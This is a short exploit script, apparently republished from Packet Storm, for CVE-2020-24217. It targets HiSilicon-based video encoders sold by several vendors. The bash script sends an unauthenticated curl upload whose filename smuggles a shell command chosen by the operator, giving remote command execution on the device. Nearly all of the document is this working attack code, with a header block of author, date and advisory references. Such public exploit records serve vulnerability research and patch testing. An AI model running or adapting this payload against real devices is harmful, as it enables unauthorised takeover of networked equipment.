Exploit for HiSilicon Video Encoder Command Injection CVE-2020-24217

## https://sploitus.com/exploit?id=PACKETSTORM:159597
#!/usr/bin/env bash  
  
# Exploit Title: HiSilicon video encoders - RCE via unauthenticated command injection  
# Date: 2020-09-20  
# Exploit Author: Alexei Kojenov  
# Vendor Homepage: multiple vendors  
# Software Link: N/A  
# Version: vendor-specific  
# Tested on: Linux  
# CVE: CVE-2020-24217  
# Vendors: URayTech, J-Tech Digital, ProVideoInstruments  
# Reference: https://kojenov.com/2020-09-15-hisilicon-encoder-vulnerabilities/  
# Reference: https://www.kb.cert.org/vuls/id/896979  
  
  
if [ "$#" -ne 2 ]  
then  
echo "Usage: $0 <server>[:<port>] <command>"  
exit 1  
fi  
  
printf "executing the command... "  
if curl -sF "upgrade=;filename=\"logo;$2;.png\"" http://$1 >/dev/null  
then  
echo "SUCCESS: remote command executed"  
else  
echo "ERROR: $?"  
fi